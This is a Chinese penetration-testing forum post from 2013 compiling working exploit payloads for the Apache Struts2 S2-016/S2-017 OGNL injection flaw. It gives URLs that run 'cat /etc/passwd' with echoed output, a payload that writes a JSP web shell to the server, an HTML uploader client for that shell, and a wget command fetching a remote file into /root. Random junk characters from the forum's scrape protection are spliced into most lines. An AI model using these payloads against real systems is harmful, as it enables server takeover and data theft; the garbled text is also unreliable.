中国网络渗透测试联盟

标题: Struts2 S2-016/S2-017漏洞执行代码 [打印本页]

作者: admin    时间: 2013-7-18 23:03
标题: Struts2 S2-016/S2-017漏洞执行代码
大家都发了,,我就整理了一下。友情提示,自己小命比shell重要哦。。7 I7 o+ _  x# m; ]0 [

7 B, z7 D7 d7 @喜欢就点一下感谢吧^_^8 o0 R  L4 t. A
/ F( f! v: E* F8 f
带回显命令执行:
7 E5 G: S% Q/ Y# F, E$ [: Q" D
5 i) u. P/ ~& ohttp://www.example.com/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
8 W$ p' O3 M4 q) N+ D4 e: P; H8 {- C9 F% c- w/ N8 N
: b! @9 N. {0 s4 A& \& E

; H  ^  {* G- u( `+ @" F
/ \- p, V  @  Q8 {( R2 e: a* ?
3 I, q3 M; [. Q8 S; b; U
1 T& X9 i% Z0 J2 ^  S1 R! y8 U: ?1 A, w* s( v' _
爆路径:; G3 d9 O$ Y2 d7 ?! x

- C  P4 W& r* `http://www.example.com/struts2-b ... 8%29.close%28%29%7D# o. k" X/ }, g& l! |* r

/ q1 t7 O! h# w. l
9 @, ?/ F/ F- x1 Q4 M/ e4 k0 ]* D: q" t( P

8 t; Z6 l- b( R: [+ d
2 f  B; r' H" A8 s0 {2 Z$ B/ N$ d写文件:3 W3 y* Q- y# Y! U  w. N3 ~

3 G) G- ?  {. s; {4 I: u; whttp://www.example.com/struts2-blank/example/X.action?redirect:${
- N# u4 C( |0 b7 L1 f9 _% L8 |2 h3 G3 Y3 D$ D) a" c
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),7 Z; Z! S  N. @6 c( T

5 j7 e) N8 Z0 F4 A: e6 S: \3 ~%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),* x; _1 p0 B+ Y4 Z8 `
* N0 I. S" `7 O0 Y0 Q/ X
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()2 f, J9 i6 D1 G: E# h( c' ~
5 z5 Q' G; }( Q
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
7 O: w* {1 ?" M8 `, |+ p7 Z3 o, D1 @, a- X8 s1 X

  i$ i& A) n& W9 h- w0 E5 A
9 N2 M4 Y8 t  R: H, s* `写入的文件内容:2 r: p% J9 X, ^! L' T! J

, Y5 e3 N- |8 z. \- K1 d1 p+ \<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>      " X. K. d. {$ [9 G5 C

3 _+ o: F% J  [2 s2 L其实就是一个jsp的小马,需要客户端配合                                                                                 
9 ]$ i" w' H+ \( a& ^; |
$ D" N* h3 ~" v& m( D7 R函数f是文件名,t是内容$ o3 q6 ^" ~6 d

3 Y* e4 Z7 ]/ f4 L客户端:! b( `. {( N8 V, A! J1 Q
3 I- x% t5 L2 M
<form action="http://www.example.com/struts2-blank/example/css3.jsp?f=fjp.jsp" method="post">
7 x  q: U* z5 E, b
$ U1 O: a5 y# C/ Q' o7 [# D9 d<textarea name=t cols=120 rows=10 width=45>your code</textarea>
* A' `/ }+ ]7 H( H
: M2 D% u( M$ p7 t<center>" k/ `# X  X- d

( I7 w6 C% W/ N* S: a- O% p$ P7 J$ M5 C9 q7 {
. c9 _8 Y9 j) q
<input type=submit value="提交">
, }( x# i& m9 z: q# \9 j* U6 s& x5 n& X* z& L; T2 x/ d
</form>
  e- y; M, z* [9 `1 \+ `  a- S: U) `/ D# L  L' T1 Z+ E5 h0 X, u- m
就在当前目录建立一个fjp.jsp
' u9 Q: X: J# R7 r. y) o6 r/ ?8 Q3 T# e, V5 w5 H0 m5 @; U
shell:http://www.example.com/struts2-blank/example/fjp.jsp
- ]. @, E- n4 A6 B2 N0 P# ]/ I& T$ e
8 o+ c3 q6 j& H/ y0 p; v8 m
) ?5 N, b$ ~# k- S+ e. b/ u0 P
还有@园长的一个客户端:
6 k- n) q' k+ e2 i! j, L& u! |2 N
. W& N. `& f; d9 ?- l8 d<html>
! S* I# x7 \) C0 f$ P8 g, [" }
8 u# {* d( U$ s8 S" b; Y% B  X2 T<head>$ A. k8 z) J1 C' g9 S3 O2 v
" g  c: u8 p: U1 C4 e2 d
<meta http-equiv="content-type" content="text/html;charset=utf-8">$ K% z5 ^( \  [) x, ^
" w2 m+ w# i- o/ i8 T% ~( w
<title>jsp-园长</title>
( \" z' V2 q- B* T4 \/ ~: Z9 c$ W1 \' W7 }  t2 M& B) J
</head>& ^3 ?  [' M# y- f: W6 h
3 h* U; ^. F% s5 T" N; P
<style>5 s- u* G8 g6 x# C' i1 X& j5 g
) D* r. R2 w) t
.main{width:980px;height:600px;margin:0 auto;}# |0 s# J5 ?" _9 r

& F% e) [1 t  i/ M$ K.url{width:300px;}
/ k- Z. f, [0 ^: l8 t
$ \( R# u+ D: p" j/ q' O2 }2 Z: g& a.fn{width:60px;}$ S  `/ l( T) }! u3 I! C
7 e- Z& M  y* @; H. @
.content{width:80%;height:60%;}7 S: T7 E) K! _0 U" p- _

( A. Z! O0 q5 h3 K0 q4 D</style>
# Q3 h% I0 s' [3 o- T: U
/ }! [8 H6 R" r  Z: ?: L! U# Y<script>9 z$ k( d/ h; z: @& h" k2 [

9 }) t& d6 {3 s  c. ^9 M1 U  function upload(){
% f+ z% ^# D; p" D0 K5 D4 b8 f+ {" ^* e
    var url = document.getElementById('url').value,
/ N7 u5 V+ N' X7 @- P# j
7 G9 J% I1 a. G8 T* Q. C3 O" m      content = document.getElementById('content').value,
4 E/ G: r/ y; ?' F, I" A6 b
' U, N/ n! J+ y' Z      fileName = document.getElementById('fn').value,, r! R( }9 o2 G/ P; t' w

7 d  G# y- n3 W4 j: C# n6 `      form = document.getElementById('fm');. \: c9 {* h: G  a/ t/ n' ]

5 G; x. K  [9 f' P7 o6 [    if(url.length == 0){
+ q. p. s7 q3 h) j$ j. Z3 ?1 Y8 Z; y9 ~5 R* e9 {: {5 _
      alert("Url not allowd empty!");
4 S. e7 g4 v( ]1 I+ P4 W# I) w, L' S- l& c' v  Z. A! S* e$ i
      return ;
5 r  k  F. _/ a( a
/ t/ P. U( f4 e6 v    }
8 @7 W8 [( t9 v" C& c3 [# E* ?  X2 e4 |: x. ^0 q
    if(content.length == 0){
  o9 a  V( q" E$ p) j* m7 B; y3 A( E! x( y& e, h
      alert("Content not allowd empty!");
( A  {, }! ?6 Y4 E0 b* m) ?6 e1 V5 {* {0 c' L6 Z
      return ;
  i, ?4 W0 f& g  O
; e& R1 \" c8 D/ t. L    }
8 Z! Y7 b  N6 ^6 _! B: b" o9 A3 h1 ]9 I
    if(fileName.length == 0){, u7 p4 Y, W# u6 U4 D
% T0 _6 d4 l1 V$ h# U  Y
      alert("FileName not allowd empty!");
* @) p- g) |) Y$ Y2 s5 Y
3 s" w" P  e# \: ^# g      return ;* f5 ~! w$ u& Y1 Q" b

: M: Y, P# j, p    }
$ X/ q1 L" f" [" ~/ Y
. O* U2 w3 E4 V: t1 j% h' K* G% \1 R    form.action = url;
+ G! p. G4 a3 Y' ^% c! {; e2 S9 ?
, N+ m3 |- v, j' F+ N7 |    form.submit();# I6 N7 `7 c/ T# E6 Q- P' g5 E9 p
6 u- z& P. m1 n' |* Y
  }8 E! R/ X% T9 G* o
' S# e: C( P' l' ~8 W4 b- B  p* i4 i% K
</script>
: g& i. t1 ^2 f1 \, m8 b# `7 z& w
<body>
8 r# Z; @/ H" n& b. _- a2 X6 [0 a6 Q, {/ _
<div class="main">
) l8 O- h: J1 P" J( s' _# o2 g" M+ C8 o! H- \* U6 y( y
  <form id="fm" method="post">  6 U* k, t* J9 C7 J

2 l* x! T6 v* j. v' {) y+ @    URL:<input type="text" value="http://localhost/Struts2/css3.jsp" class="url" id="url"/>  
% u' ]; h5 z1 h: Y  P# j2 p7 ^
' f" U+ N9 @3 o9 a' C3 u" H9 D1 ]    FileName:<input type="text" name="f" value="css.jsp" class="fn" id="fn" />  
1 U! P4 Q0 p3 q2 I: d8 _
  g0 Z# C5 x# w; x4 |) a    <a href="javascript:upload();">Upload</a>
1 t) J+ V$ ~, ^
. M/ t" ^8 G! j$ A# `' J" i4 f  [7 J/ ]
( V2 v8 G( G* {" P# [8 ^! M
    <textarea id="content" class="content" name="t" ></textarea>' Y0 M2 @* Z5 m( i2 _& v: Q5 H

/ w1 O9 Z5 m6 f' @* z0 h& [  </form>
4 t% t: `7 H' `: J9 ?0 N! C3 p. X7 p1 Z% {4 o& Z$ @
</div>% {& Z% E# }# J
  \8 `6 x  S7 [6 U( Q
</body>- O4 S& J1 m' S- j) x( T- r
& f$ L1 j2 h% r( p: `
</html>7 e/ L6 P+ p* w' f0 @

6 f% c. M3 U% B% X% {
& R0 H& {( H" j4 e. }! q' D
' u" u4 s; U6 x还有@X发的一个wget的getshell
' n) Q# D# m8 o. }" v$ X# D* [
$ R3 K5 x  G4 h) o7 z; E?redirect{%23a%3d(new  java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.url.com/xx.txt','- O','/root/1.jsp'}% o/ d( u% I' l! c+ U; X

! K' J7 z2 G1 ^+ c, k2 I)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e), %23piaoye%3d%23context.get ('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23piaoye.getWriter().println (%23e),%23piaoye.getWriter().flush(),%23piaoye.getWriter().close()}$ C* S8 ]- b( Q" L0 g
复制代码




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2